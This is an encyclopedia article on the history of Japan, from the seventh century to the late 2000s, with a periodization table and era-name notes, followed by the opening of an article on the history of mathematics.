          In a letter brought to the Emperor of China by an emissary from Japan in 607 stated that the Emperor of the Land where the Sun rises (Japan) sends a letter to the Emperor of the land where Sun sets (China), thereby implying an equal footing with China which angered the Chinese emperor.


          Starting with the Taika Reform Edicts of 645, Japanese intensified the adoption of Chinese cultural practices and reorganized the government and the penal code in accordance with the Chinese administrative structure ( Ritsuryo) of the time. This paved the way for the influential Confucian philosophy in Japan until the 19th century. This period also saw the first uses of the word Nihon (日本) as a name for the emerging state.


          


          Nara Period
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          The Nara period (奈良時代, Nara period ?) of the 8th century marked the first emergence of a strong Japanese state. Following an Imperial rescript by Empress Genmei the move of the capital to Heijō-kyō, present-day Nara, took place in 710. The city was modelled on the capital of the Chinese Tang Dynasty, Chang'an (now Xi'an).


          During the Nara Period, political developments were quite limited, since members of the imperial family struggled for power with the Buddhist clergy as well as the regents, the Fujiwara clan. Japan did enjoy friendly relations with Silla as well as formal relationships with Tang China. In 784, the capital was moved again to Nagaoka to escape the Buddhist priests and then in 794 to Heian-kyo, present-day Kyoto.


          Historical writing in Japan culminated in the early 8th century with the massive chronicles, the Kojiki (The Record of Ancient Matters, 712) and the Nihon Shoki (Chronicles of Japan, 720). These chronicles give a legendary account of Japan's beginnings, today known as the Japanese mythology. According to the myths contained in these 2 chronicles, Japan was founded in 660 BC by the ancestral Emperor Jimmu, a direct descendant of the Shinto deity Amaterasu, or the Sun Goddess. The myths recorded that Jimmu started a line of emperors that remains to this day. Historians assume the myths partly describe historical facts but the first emperor who actually existed was Emperor Ōjin, though the date of his reign is uncertain. After the Nara period, actual political power has not been in the hands of the emperor, but in the hands of the court nobility, the shoguns, the military and, more recently, the prime minister.


          


          Heian Period
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          The Heian period (平安時代, Heian period ?), lasting from 794 to 1185, is the final period of classical Japanese history. It is considered the peak of the Japanese imperial court and noted for its art, especially in poetry and literature. In the early 11th century, Lady Murasaki wrote the world's oldest surviving novel called The Tale of Genji. The Man'yōshū and Kokin Wakashū, the oldest existing collections of the Japanese poetry were compiled in the period.


          Strong differentiations from Asian mainland culture traits emerged (such as an indigenous writing system, the kana). Chinese influence had reached its peak, and then effectively ended with the last Imperial-sanctioned mission to Tang China in 838, due to the decline of the Tang Dynasty, although trade expeditions and Buddhist pilgrimages to China continued.


          Political power in the Imperial court was in the hands of powerful aristocratic families, especially the Fujiwara clan who ruled under the titles Sessho and Kampaku (regents).


          The end of the period saw the rise of various military clans. Four very important clans were the Minamoto clan, the Taira clan, the Fujiwara clan, and the Tachibana clan. Towards the end of the 12th century, conflicts between those clans turned into civil war, such as the Hōgen and Heiji Rebellions, followed by the Genpei war, from which emerged a society led by samurai clans, under the political rule of a shogun.


          


          Feudal Japan (12th - 19th century)


          The " feudal" period of Japanese history, dominated by the powerful regional families ( daimyo) and the military rule of warlords ( shogun), stretched from the 12th through the 19th centuries. The Emperor remained but was mostly kept to a de jure figurehead ruling position. This time is usually divided into periods following the reigning family of the shogun.


          


          Kamakura Period


          The Kamakura period (鎌倉時代, Kamakura period ?), 1185 to 1333, is a period that marks the governance of the Kamakura Shogunate and the transition to the Japanese "medieval" era, a nearly 700-year period in which the Emperor (天皇 tennō), the court, and the traditional central government were left intact but were largely relegated to ceremonial functions. Civil, military, and judicial matters were controlled by the bushi (samurai) class, the most powerful of whom was the de facto national ruler, the shogun. This period in Japan differed from the old shōen system in its pervasive military emphasis.


          In 1185, Minamoto no Yoritomo defeated the rival Taira clan. And in 1192, Yoritomo was appointed Seii Tai- Shogun by the emperor, and has established a base of power in Kamakura. Yoritomo ruled as the first in a line of Kamakura shoguns. However, after Yoritomo's death, another warrior clan, the Hōjō, came to rule as regents for the shoguns.
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          A traumatic event of the period was the Mongol invasions of Japan between 1272 and 1281, in which massive Mongol forces with superior naval technology and weaponry attempted a full-scale invasion of the Japanese islands. A famous typhoon referred to as kamikaze, translating as divine wind in Japanese, is credited with devastating both Mongol invasion forces, although some scholars assert that the defensive measures the Japanese built on the island of Kyūshū may have been adequate to repel the invaders. Although the Japanese were successful in stopping the Mongols, the invasion attempt had devastating domestic repercussions, leading to the extinction of the Kamakura shogunate.


          The Kamakura period ended in 1333 with the destruction of the shogunate and the short reestablishment of imperial rule (the Kemmu restoration) under the Emperor Go-Daigo by Ashikaga Takauji, Nitta Yoshisada, and Kusunoki Masashige. The Kamakura period is also said to be the beginning of the "Japanese Middle Ages", which also includes the Muromachi period and lasted until the Meiji Restoration.


          


          Muromachi Period


          The Muromachi period (室町時代, Muromachi-jidai ?) is a division of Japanese history running from approximately 1336 to 1573. The period marks the governance of the Ashikaga shogunate, also called Muromachi shogunate, which was officially established in 1336 by the first Muromachi shogun Ashikaga Takauji, who seized political power from Emperor Go-Daigo, ending the Kemmu restoration. The period ended in 1573 when the 15th and last shogun Ashikaga Yoshiaki was driven out of the capital in Kyoto by Oda Nobunaga.


          The early years of 1336 to 1392 of the Muromachi period is also known as the Nanboku-chō or Northern and Southern Court period, as the Imperial court was split in two.


          The later years of 1467 to the end of the Muromachi period is also known as the Sengoku period, the "Warring States period", a time of intense internal warfare, and corresponds with the period of the first contacts with the West, with the arrival of Portuguese " Nanban" traders.
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          In 1543, a Portuguese ship, blown off its course to China, landed on Tanegashima Island Japan. Firearms introduced by Portuguese would bring the major innovation to Sengoku period culminating in the Battle of Nagashino where reportedly 3,000 arquebuses (the actual number is believed to be around 2,000) cut down charging ranks of samurai. During the following years, traders from Portugal, the Netherlands, England, and Spain arrived, as did Jesuit, Dominican, and Franciscan missionaries.


          


          Azuchi-Momoyama Period


          The Azuchi-Momoyama period (安土桃山時代, Azuchi-Momoyama-jidai ?) runs from approximately 1568 to 1600. The period marks the military reunification and stabilization of the country under a single political ruler, first by the campaigns of Oda Nobunaga who almost united Japan, achieved later by one of his generals, Toyotomi Hideyoshi. The name Azuchi-Momoyama comes from the names of their respective castles, Azuchi castle and Momoyama castle.


          After having united Japan, Hideyoshi invaded Korea in an attempt to conquer Korea, China, and even India. However, after two unsuccessful campaigns toward the allied forces of Korea and China and his death, his forces retreated from the Korean peninsula in 1598.


          The short period of succession conflict to Hideyoshi was ended when Tokugawa Ieyasu, one of the regents for Hideyoshi's young heir, emerged victorious at the Battle of Sekigahara and seized political power.


          


          Edo Period (1603 - 1876 A.D.)
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          During the Edo Period (江戸時代, Edo Period ?), the administration of the country was shared by over two hundred daimyo. The Tokugawa clan, leader of the victorious eastern army in the Battle of Sekigahara, was the most powerful of them, and for fifteen generations monopolized the title of Sei-i Taishōgun (often shortened to shōgun). With their headquarters at Edo (present-day Tokyo), the Tokugawa commanded the allegiance of the other daimyo, who in turn ruled their domains with a rather high degree of autonomy.


          The shogunate carried out a number of significant policies. They placed the samurai class above the commoners: the agriculturists, artisans, and merchants. They enacted sumptuary laws limiting hair style, dress, and accessories. They organized commoners into groups of five, and held all responsible for the acts of each individual. To prevent daimyo from rebelling, the shoguns required them to maintain lavish residences in Edo and live at these residences on a rotating schedule; carry out expensive processions to and from their domains; contribute to the upkeep of shrines, temples, and roads; and seek permission before repairing their castles.
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          Many artistic developments took place during the Edo Period. Most significant among them were the ukiyo-e form of wood-block print, and the kabuki and bunraku theaters. Also, many of the most famous works for the koto and shakuhachi date from this time period.


          Throughout the Edo Period, the development of commerce, the rise of the cities, and the pressure from foreign countries changed the environment in which the shoguns and daimyo ruled. In 1868, following the Boshin War, the shogunate collapsed, and a new government coalesced around the Emperor.


          


          Seclusion
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          During the early part of the 17th century, the shogunate suspected that the traders and missionaries were actually forerunners of a military conquest by European powers. Christianity spread in Japan, especially among peasants. The shogunate suspected the loyalty of Christian peasants towards their daimyos and severely persecuted them. This led to a revolt by persecuted peasants and Christians in 1637 known as the Shimabara Rebellion which saw 30,000 Christians, samurai, and peasants facing a massive samurai army of more than 100,000 sent from Edo. The rebellion was crushed at a high cost to the shogun's army. After the eradication of the rebels at Shimabara, the shogunate placed foreigners under progressively tighter restrictions. It monopolized foreign policy, and expelled traders, missionaries, and foreigners, with the exception of the Dutch and the Chinese merchants restricted to the man-made island of Dejima in Nagasaki Bay and several small trading outposts outside the country. However, during this period of isolation ( Sakoku) that began in 1635, Japan was much less cut off from the rest of the world than is commonly assumed, and some acquisition of western knowledge occurred under the Rangaku system.


          Russian encroachments from the north led the shogunate to extend direct rule to Hokkaidō, Sakhalin and the Kuriles in 1807, but the policy of exclusion continued.


          


          End of seclusion
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          The policy of isolation lasted for more than 200 years. In 1844, William II of the Netherlands sent a message urging Japan to open her doors, which resulted in Tokugawa shogunate's rejection. On July 8, 1853, Commodore Matthew Perry of the U.S. Navy with four warships  the Mississippi, Plymouth, Saratoga, and Susquehanna  steamed into the bay at Edo, old Tokyo, and displayed the threatening power of his ships' cannons. He requested that Japan open to trade with the West. These ships became known as the kurofune, the Black Ships.


          The following year, at the Convention of Kanagawa on March 31, 1854, Perry returned with seven ships and requested that the Shogun sign the "Treaty of Peace and Amity," establishing formal diplomatic relations between Japan and the United States. Within five years Japan had signed similar treaties with other western countries. The Harris Treaty was signed with the United States on July 29, 1858. These treaties were widely regarded by Japanese intellectuals as unequal, having been forced on Japan through gunboat diplomacy, and as a sign of the West's desire to incorporate Japan into the imperialism that had been taking hold of the rest of the Asian continent. Among other measures, they gave the Western nations unequivocal control of tariffs on imports and the right of extraterritoriality to all their visiting nationals. They would remain a sticking point in Japan's relations with the West up to the turn of the century.


          


          Meiji Restoration
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          Renewed contact with the West precipitated profound alteration of Japanese society. The shogun resigned and soon after the Boshin War of 1868, the emperor was restored to power. The subsequent " Meiji Restoration" initiated many reforms. The feudal system was abolished, and numerous Western institutions were adopted, including a Western legal system and a quasi-parliamentary constitutional government, outlined in the Meiji Constitution. While many aspects of the Meiji Restoration were adopted directly from Western institutions, others, such as the dissolution of the feudal system and removal of the shogunate, were processes that had begun long before the arrival of Perry.


          Russian pressure from the north appeared again after Muraviev had gained Outer Manchuria at Aigun (1858) and Peking ( 1860). This led to heavy Russian pressure on Sakhalin which the Japanese eventually yielded in exchange for the Kuril islands (1875). The Ryukyu Islands were similarly secured in 1879, establishing the borders within which Japan would "enter the World". In 1898, the last of the " unequal treaties" with Western powers was removed, signalling Japan's new status among the nations of the world. In a few decades, by reforming and modernizing social, educational, economic, military, political and industrial systems, the Emperor Meiji's "controlled revolution" had transformed a feudal and isolated state into a world power.


          


          Wars with China and Russia


          Japanese intellectuals of the late- Meiji period espoused the concept of a "line of advantage," an idea that would help to justify Japanese foreign policy at the turn of the century. According to this principle, embodied in the slogan fukoku kyōhei (富国強兵, fukoku kyōhei ?), Japan would be vulnerable to aggressive Western imperialism unless it extended a line of advantage beyond its borders which would help to repel foreign incursions and strengthen the Japanese economy. Emphasis was especially placed on Japan's "preeminent interests" in the Korean Peninsula, once famously described as a "dagger pointed at the heart of Japan." It was tensions over Korea and Manchuria, respectively, that led Japan to become involved in the first Sino-Japanese War with China in 1894-1895 and the Russo-Japanese War with Russia in 1904-1905.


          The war with China made Japan the world's first Eastern, modern imperial power, and the war with Russia proved that a Western power could be defeated by an Eastern state. The aftermath of these two wars left Japan the dominant power in the Far East, with a sphere of influence extending over southern Manchuria and Korea, which was formally annexed as part of the Japanese Empire in 1910 (see below). Japan had also gained half of Sakhalin Island from Russia.


          For Japan and for the moment, it established the country's dominant interest in Korea, while giving it the Pescadores Islands, Formosa (now Taiwan), and the Liaodong Peninsula in Manchuria, which was eventually retroceded in the "humiliating" Triple Intervention. Over the next decade, Japan would flaunt its growing prowess, including a very significant contribution to the Eight-Nation Alliance, formed to quell China's Boxer Rebellion. Many Japanese, however, believed their new empire was still regarded as inferior by the Western powers, and they sought a means of cementing their international standing. This set the climate for growing tensions with Russia, who would continually intrude into Japan's "line of advantage" during this time.


          


          Anglo-Japanese Alliance


          


          Taishō and Shōwa eras
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          In a manner perhaps reminiscent of its participation in quelling the Boxer Rebellion at the turn of the century, Japan entered World War I and declared war on the Central Powers. Though Japan's role in World War I was limited largely to attacking German colonial outposts in East Asia, it took advantage of the opportunity to expand its influence in Asia and its territorial holdings in the Pacific. Acting virtually independently of the civil government, the Japanese navy seized Germany's Micronesian colonies. It also attacked and occupied the German coaling port of Qingdao in the Chinese Shandong peninsula.


          The post-war era brought Japan unprecedented prosperity.


          Japan went to the peace conference at Versailles in 1919 as one of the great military and industrial powers of the world and received official recognition as one of the "Big Five" of the new international order. It joined the League of Nations and received a mandate over Pacific islands north of the Equator formerly held by Germany. Japan was also involved in the post-war Allied intervention in Russia, occupying Russian (Outer) Manchuria and also north Sakhalin (with its rich oil reserves). It was the last Allied power to withdraw from the interventions against Soviet Russia (doing so in 1925).


          


          Militarism


          During the 1920s, Japan progressed toward a democratic system of government in a movement known as ' Taishō Democracy'. However, parliamentary government was not rooted deeply enough to withstand the economic and political pressures of the late 1920s and 1930s during the Depression era, and its state became increasingly militarized. This was due to the increasing powers of military leaders and was similar to the actions European nations and the U.S. were taking leading up to WW2. These shifts in power were made possible by the ambiguity and imprecision of the Meiji Constitution, particularly its measure that the legislative body was answerable to the Emperor and not the people. The Kodoha, a militarist faction, even attempted a coup d'tat known as the February 26 Incident, which was crushed after three days by Emperor Shōwa.


          Party politics came under increasing fire because it was believed they were divisive to the nation and promoted self-interest where unity was needed. As a result, the major parties voted to dissolve themselves and were absorbed into a single party, the Imperial Rule Assistance Association (IRAA), which also absorbed many prefectural organizations such as women's clubs and neighbourhood associations. However, this umbrella organization did not have a cohesive political agenda and factional in-fighting persisted throughout its existence, meaning Japan did not devolve into a totalitarian state. The IRAA has been likened to a sponge, in that it can soak everything up, but there is little one could do with it afterwards. Its creation was precipitated by a series of domestic crises, including the advent of the Great Depression in the 1930s and the actions of extremists such as the members of the Cherry Blossom Society, who enacted the May 15 incident.


          


          Second Sino-Japanese war and World War II
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          Under the pretext of the Manchurian Incident, Lieutenant Colonel Kanji Ishiwara invaded Inner (Chinese) Manchuria in 1931, an action the Japanese government ratified with the creation of the puppet state of Manchukuo under the last Chinese emperor, Pu Yi. As a result of international condemnation of the incident, Japan resigned from the League of Nations in 1933. After several more similar incidents fueled by an expansionist military, the second Sino-Japanese War began in 1937 after the Marco Polo Bridge Incident.


          During the first part of the Showa era, according to the Meiji Constitution, the Emperor had the "supreme command of the Army and the Navy" (Article 11). From 1937, Emperor Shōwa became supreme commander of the Imperial General Headquarters, by which the military decisions were made. This ad-hoc body consisted of the chief and vice chief of the Army, the minister of the Army, the chief and vice chief of the Navy, the minister of the Navy, the inspector general of military aviation, and the inspector general of military training.


          Having joined the Anti-Comintern Pact in 1936, Japan formed the Axis Pact with Germany and Italy on September 27, 1940. Many Japanese politicians, believed war with the Occident to be inevitable due to inherent cultural differences and Western imperialism. Japanese imperialism, was then justified by the revival of the traditional concept of hakko ichiu, the divine right of the emperor to unite and rule the world.


          Tensions were mounting with the U.S. as a result of public outcry over Japanese aggression and reports of atrocities in China, such as the infamous Nanjing Massacre. In retaliation to the invasion of French Indochina the U.S. began an embargo on such goods as petroleum products and scrap iron. On July 25, 1941, all Japanese assets in the US were frozen. Because Japan's military might, especially the Navy, was dependent on their dwindling oil reserves, this action had the contrary effect of increasing Japan's dependence on and hunger for new acquisitions.


          Many civil leaders of Japan, including Prime Minister Konoe Fumimaro, believed a war with America would end in defeat, but felt the concessions demanded by the U.S. would almost certainly relegate Japan from the ranks of the World Powers, leaving it prey to Western collusion. Civil leaders offered political compromises in the form of the Amau Doctrine, dubbed the "Japanese Monroe Doctrine" that would have given the Japanese free rein with regards to war with China. These offers were flatly rejected by U.S. Secretary of State Cordell Hull; the military leaders instead vied for quick military action.


          Most military leaders such as Osami Nagano, Kotohito Kan'in, Hajime Sugiyama and Hideki Tojo believed that war with Occident was inevitable. They finally convinced Emperor Shōwa to sanction on November 1941 an attack plan against U.S., Great Britain and Holland. However, there were dissenters in the ranks about the wisdom of that option, most notably Admiral Yamamoto Isoroku and Prince Takamatsu. They pointedly warned that at the beginning of hostilities with the US, the Empire would have the advantage for six months, after which Japan's defeat in a prolonged war would be almost certain.
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          The Americans were expecting an attack in the Philippines (and stationed troops appropriate to this conjecture), but on Yamamoto Isoroku's advice, Japan made the decision to attack Pearl Harbour where it would make the most damage in the least amount of time. The United States believed that Japan would never be so bold as to attack so close to its home base (Hawaii had not yet gained statehood) and was taken completely by surprise.


          The attack on Pearl Harbour, sanctioned by Emperor Shōwa on December 1 1941, occurred on December 7 ( December 8 in Japan) and the Japanese were successful in their surprise attack. Although the Japanese won the battle, the attack proved a long-term strategic disaster that actually did relatively little lasting damage to the U.S. military and provoked the United States to retaliate with full commitment against Japan and its allies. At the same time as the Pearl Harbour attack, the Japanese army attacked colonial Hong Kong and occupied it for nearly four years.


          While Nazi Germany was in the middle of its Blitzkrieg through Europe, Japan was following suit in Asia. In addition to already having colonized Taiwan and Manchuria, the Japanese Army invaded and captured most of the coastal Chinese cities such as Shanghai, and had conquered French Indochina (Vietnam, Laos, Cambodia), British Malaya (Brunei, Malaysia, Singapore) as well as the Dutch East Indies (Indonesia) while Thailand got in a loose alliance with Japan. They had also conquered Burma (Myanmar) and reached the borders of India and Australia, conducting air raids on the port of Darwin, Australia. Japan had soon established an empire stretching over much of the Pacific.


          However the Japanese Navy's offensive ability was crippled on its defeat in the Battle of Midway at the hands of the American Navy which turned the tide against them. After almost four years of war resulting in the loss of three million Japanese lives, the atomic bombings of Hiroshima and Nagasaki, the daily air raids on Tokyo, Osaka, Nagoya, Yokohama, the destruction of all other major cities (except Kyoto, Nara, and Kamakura, for their historical importance), and finally the Soviet Union's declaration of war on Japan the day before the second atomic bomb was dropped, Japan signed an instrument of surrender on the USS Missouri in Tokyo Harbour on September 2, 1945. Symbolically, the deck of the Missouri was furnished bare except for two American flags. One had flown on the mast of Commodore Perry's ship when he had sailed into that same bay nearly a century earlier to urge the opening of Japan's ports to foreign trade. The other U.S. flag came off the battleship while anchored in Tokyo Bay, it had not flown over the White House or the Capitol Building on 7 December 1941, it was "... just a plain ordinary GI flag."


          As a result of its defeat at the end of World War II, Japan lost all of its overseas possessions and retained only the home islands. Manchukuo was dissolved, and Inner Manchuria was returned to the Republic of China; Japan renounced all claims to Formosa; Korea was taken under the control of the UN; southern Sakhalin and the Kuriles were occupied by the U.S.S.R.; and the United States became the sole administering authority of the Ryukyu, Bonin, and Volcano Islands. The International Military Tribunal for the Far East, an international war crimes tribunal, sentenced seven Japanese military and government officials to death on November 12, 1948, including General Hideki Tōjō, for their roles in the war.


          The 1972 reversion of Okinawa completed the United States' return of control of these islands to Japan. Japan continues to protest for the corresponding return of the Kuril Islands (Northern territory or 'Hoppou Ryoudo') from Russia.


          Defeat came for a number of reasons. The most important is probably Japan's underestimation of the industro-military capabilities of the U.S. The U.S. recovered from its initial setback at Pearl Harbour much quicker than the Japanese expected, and their sudden counterattack came as a blow to Japanese morale. U.S. output of military products also skyrocketed past Japanese counterparts over the course of the war. Another reason was factional in-fighting between the Army and Navy, which led to poor intelligence and cooperation. This was compounded as the Japanese forces found they had overextended themselves, leaving Japan itself vulnerable to attack. Another important factor is Japan's underestimation of resistance in China, which Japan claimed would be conquered in three months. The prolonged war was both militarily and economically disastrous for Japan.


          


          Occupied Japan
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          After the war, Japan was placed under international control of the American-led Allied powers in the Asia-Pacific region through General Douglas MacArthur as Supreme Commander of the Allied Powers. This was the first time since the unification of Japan that the island nation was successfully occupied by a foreign power. Some high officers of the Shōwa regime were prosecuted and convicted by the International Military Tribunal for the Far East. However, Emperor Shōwa, all members of the imperial family implicated in the war such as prince Asaka, prince Chichibu, prince Takeda, prince Higashikuni, prince Hiroyasu Fushimi, as well as Shiro Ishii and all members of unit 731 were exonerated from criminal prosecutions by MacArthur. .


          Entering the Cold War with the Korean War, Japan came to be seen as an important ally of the US government. Political, economic, and social reforms were introduced, such as an elected Japanese Diet (legislature) and expanded suffrage. The country's constitution took effect on May 3, 1947. The United States and 45 other Allied nations signed the Treaty of Peace with Japan in September 1951. The U.S. Senate ratified the treaty in March 20, 1952, and under the terms of the treaty, Japan regained full sovereignty on April 28, 1952.


          Under the terms of the peace treaty and later agreements, the United States maintains naval bases at Okinawa and at Yokohama. A portion of the U.S. Pacific Fleet, including one aircraft carrier (currently USS George Washington (CVN-73)), is based at Yokohama. This arrangement is partially intended to provide for the defense of Japan, as the treaty and the new Japanese constitution imposed during the occupation severely restrict the size and purposes of Japanese military forces in the modern period.


          


          Post-Occupation Japan 1952-1990


          After a series of realignment of political parties, the conservative Liberal Democratic Party (LDP) and the leftist Social Democratic Party (SDP) were formed in 1955. The political map in Japan had been largely unaltered until early 1990s and LDP had been the largest political party in the national politics. LDP politicians and government bureaucrats focused on economic policy. From the 1950s to the 1980s, Japan experienced its rapid development into a major economic power, through a process often referred to as the Japanese post-war economic miracle.


          Japan's biggest postwar political crisis took place in 1960 over the revision of the Japan-United States Mutual Security Assistance Pact. As the new Treaty of Mutual Cooperation and Security was concluded, which renewed the United States role as military protector of Japan, massive street protests and political upheaval occurred, and the cabinet resigned a month after the Diet's ratification of the treaty. Thereafter, political turmoil subsided. Japanese views of the United States, after years of mass protests over nuclear armaments and the mutual defense pact, improved by 1972, with the reversion of United States-occupied Okinawa to Japanese sovereignty and the winding down of the Second Indochina War.


          Japan had reestablished relations with the Republic of China after World War II, and cordial relations were maintained with the nationalist government when it was exiled to Taiwan, a policy that won Japan the enmity of the People's Republic of China, which was established in 1949. After the general warming of relations between China and Western countries, especially the United States, which shocked Japan with its sudden rapprochement with Beijing in 1971, Tokyo established relations with Beijing in 1972. Close cooperation in the economic sphere followed. Japan's relations with the Soviet Union continued to be problematic long after the war. The main object of dispute was the Soviet occupation of what Japan calls its Northern Territories, the two most southerly islands in the Kurils ( Etorofu and Kunashiri) and Shikotan and the Habomai Islands, which were seized by the Soviet Union in the closing days of World War II.


          Throughout the postwar period, Japan's economy continued to boom, with results far outstripping expectations. Given a massive boost by the Korean War, in which it acted as a major supplier to the UN force, Japan's economy embarked on a prolonged period of extremely rapid growth, led by the manufacturing sectors. Japan emerged as a significant power in many economic spheres, including steel working, car manufacture and the manufacture of electronic goods. Japan rapidly caught up with the West in foreign trade, GNP, and general quality of life. These achievements were underscored by the 1964 Tokyo Olympic Games and the Osaka International Exposition in 1970. The high economic growth and political tranquility of the midto late 1960s were tempered by the quadrupling of oil prices by the OPEC in 1973. Almost completely dependent on imports for petroleum, Japan experienced its first recession since World War II. Another serious problem was Japan's growing trade surplus, which reached record heights during Nakasone's first term. The United States pressured Japan to remedy the imbalance, demanding that Tokyo raise the value of the yen and open its markets further to facilitate more imports from the United States.


          


          Political and Economic Reform since 1990s


          1989 marked one of the most rapid economic growth spurts in Japanese history. With a strong yen and a favorable exchange rate with the dollar, the Bank of Japan kept interest rates low, sparking an investment boom that drove Tokyo property values up sixty percent within the year. Shortly before New Year's Day, the Nikkei 225 reached its record high of 39,000. By 1991, it had fallen to 15,000, signifying the end of Japan's famed bubble economy. Unemployment ran reasonably high, but not at crisis levels. Rather than suffer large scale unemployment and layoffs, Japan's labor market suffered in more subtle, yet no less profound effects that were none-the-less difficult to gauge statistically. During the prosperous times, jobs were seen as long term even to the point of being life long. In contrast, Japan during the lost decade saw a marked increase in temporary and part time work which only promised employment for short periods and marginal benefits. This also created a generational gap, as those who had entered the labor market prior to the lost decade usually retained their employment and benefits, and were effectively insulated from the economic slowdown, whereas younger workers who entered the market a few years later suffered the brunt of its effects.


          In a series of financial scandals of the LDP, a coalition of led by Morihiro Hosokawa took a power in 1993. Hosokawa succeeded to legislate new plurality voting election law instead of the stalemated multi-member constituency election system. However, the coalition collapsed the next year as parties had gathered to simply overthrow LDP and lacked a unified position on almost every social issue. The LDP returned to the government in 1996, when it helped to elect Social Democrat Tomiichi Murayama as prime minister.


          The Great Hanshin earthquake hit Kobe on January 17, 1995. 6,000 people were killed and 44,000 were injured. 250,000 houses were destroyed or burned in a fire. The amount of damage totaled more than ten trillion yen. In March of the same year the doomsday cult Aum Shinrikyo attacked on the Tokyo subway system with sarin gas and killed 12 and hundreds were injured. Later the investigation revealed that the cult was responsible for dozens of murders that occurred prior to the gas attacks.


          Junichiro Koizumi was elected president of the LDP and Prime Minister of Japan in April 2001. Koizumi Enjoyed high approval ratings and won some general elections. He pushed ahead with economic reforms and consolidation of the inefficient governmental organizations such as the national postal system. Koizumi also had an active involvement in the War on Terrorism, sending 1,000 soldiers of the Japan Self-Defense Forces to help in Iraq's reconstruction after the Iraq War, the biggest overseas troop deployment since World War II.


          


          Today


          The current government is led by Prime Minister Yasuo Fukuda. The ruling coalition was formed by the conservative LDP and the New Komeito Party, a theocratic Buddhist political party based on the controversial Buddhist sect Soka Gakkai. The opposition was formed by the liberal Democratic Party of Japan, the largest party in the upper house. Other parties are the staunchly communist Japanese Communist Party, the leftist Social Democratic Party and the conservative People's New Party.


          


          Periodization


          One commonly accepted periodization of Japanese history:


          
            
              	Dates

              	Period

              	Period

              	Subperiod

              	Major Government
            


            
              	30,000 BC  10,000 BC

              	Japanese Paleolithic

              	

              	tribal governments
            


            
              	10,000 BC  3000 BC

              	Ancient Japan

              	Jōmon

              	

              	local clans
            


            
              	900 BC  250 AD (overlaps)

              	Yayoi

              	

              	local clans
            


            
              	c. 250  538 AD

              	Yamato

              	Kofun

              	 Yamato clans
            


            
              	538  710 AD

              	Classical Japan

              	Yamato

              	Asuka
            


            
              	710  794

              	Nara

              	

              	Imperial Court in Nara
            


            
              	794  1185

              	Heian

              	

              	Imperial court in Heian
            


            
              	1185  1333

              	Feudal Japan

              	Kamakura

              	

              	Kamakura shogunate
            


            
              	1333  1336

              	Kemmu restoration

              	

              	Emperor of Japan
            


            
              	1336  1392

              	Muromachi

              	Nanboku-cho

              	Ashikaga shogunate, Oda Nobunaga, Toyotomi Hideyoshi,
            


            
              	1392  1573

              	Sengoku period
            


            
              	1573  1603

              	Azuchi-Momoyama
            


            
              	1600  1867

              	Early Modern Japan

              	Edo

              	

              	Tokugawa shogunate
            


            
              	1868  1912

              	Modern Japan

              	Meiji

              	

              	limited monarchy ( Emperor Meiji)
            


            
              	1912  1926

              	Taishō

              	Taisho democracy

              	limited monarchy ( Emperor Taishō)
            


            
              	1926  1945

              	Shōwa

              	Expansionism

              	limited monarchy (Emperor Shōwa)
            


            
              	1945  1952

              	Occupied Japan

              	Supreme Commander Allied Powers
            


            
              	1952  1989

              	Post-occupation

              	parliamentary democracy; Emperor is symbol of state
            


            
              	1989  present

              	Heisei

              	
            

          


          



          


          Japanese era names


          Era Name ( Nengō) in Japan (after Meiji)


          
            	Nengō are commonly used in Japan as an alternative to the Gregorian calendar.


            	For example, in censuses, birthdays are written using Nengō.


            	Dates of newspapers and official documents are also written using Nengō.


            	Nengō are changed upon the enthronement of each new Emperor of Japan (Tennō).

          


          
            	Meiji (1858  1912)


            	Taishō (1912  1925)


            	Showa ( December 25, 1925  January 6, 1989)


            	Heisei ( January 7, 1989  present)

          


          
            	
              For example:

              
                	1945 was the 20th year of Shōwa.


                	2005 was the 17th year of Heisei.


                	1989 was the 64th year of Shōwa through January 6, but on January 7, it became the 1st year(Gan-nen) of Heisei.

              

            

          


          
            	Before World War II ended, Imperial era ( Kōki) is also used in common that the year of enthronement of first emperor (Jimmu-Tennō) is defined as First Year. (= 660 BC)

          


          


          
            Retrieved from " http://en.wikipedia.org/wiki/History_of_Japan"
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        History of mathematics
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          The area of study known as the history of mathematics is primarily an investigation into the origin of new discoveries in mathematics, to a lesser extent an investigation into the standard mathematical methods and notation of the past.
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          Before the modern age and the worldwide spread of knowledge, written examples of new mathematical developments have come to light only in a few locales. The most ancient mathematical texts available are Plimpton 322 ( Babylonian mathematics ca. 1900 BC), the Moscow Mathematical Papyrus ( Egyptian mathematics ca. 1850 BC), the Rhind Mathematical Papyrus (Egyptian mathematics ca. 1650 BC), and the Shulba Sutras (Indian mathematics ca. 800 BC). All of these texts concern the so-called Pythagorean theorem, which seems to be the most ancient and widespread mathematical development after basic arithmetic and geometry.


          Egyptian and Babylonian mathematics were then further developed in Greek and Hellenistic mathematics, which is generally considered to be one of the most important for greatly expanding both the method and the subject matter of mathematics. The mathematics developed in these ancient civilizations were then further developed and greatly expanded in Islamic mathematics. Many Greek and Arabic texts on mathematics were then translated into Latin in medieval Europe and further developed there.


          One striking feature of the history of ancient and medieval mathematics is that bursts of mathematical development were often followed by centuries of stagnation. Beginning in Renaissance Italy in the 16th century, new mathematical developments, interacting with new scientific discoveries, were made at an ever increasing pace, and this continues to the present day.


          


          Early mathematics


          Long before the earliest written records, there are drawings that do indicate a knowledge of mathematics and of measurement of time based on the stars. For example, paleontologists have discovered ochre rocks in a cave in South Africa adorned with scratched geometric patterns dating back to c. 70,000 BC. Also prehistoric artifacts discovered in Africa and France, dated between 35,000 BC and 20,000 BC, indicate early attempts to quantify time.


          Evidence exists that early counting involved women who kept records of their monthly biological cycles; twenty-eight, twenty-nine, or thirty scratches on bone or stone, followed by a distinctive scratching on the bone or stone, for example. Moreover, hunters had the concepts of one, two, and many, as well as the idea of none or zero, when considering herds of animals.


          The Ishango Bone, found in the area of the headwaters of the Nile River (northeastern Congo), dates as early as 20,000 BC. One common interpretation is that the bone is the earliest known demonstration of sequences of prime numbers and Ancient Egyptian multiplication. Predynastic Egyptians of the 5th millennium BC pictorially represented geometric spatial designs. It has been claimed that Megalithic monuments in England and Scotland from the 3rd millennium BC, incorporate geometric ideas such as circles, ellipses, and Pythagorean triples in their design.


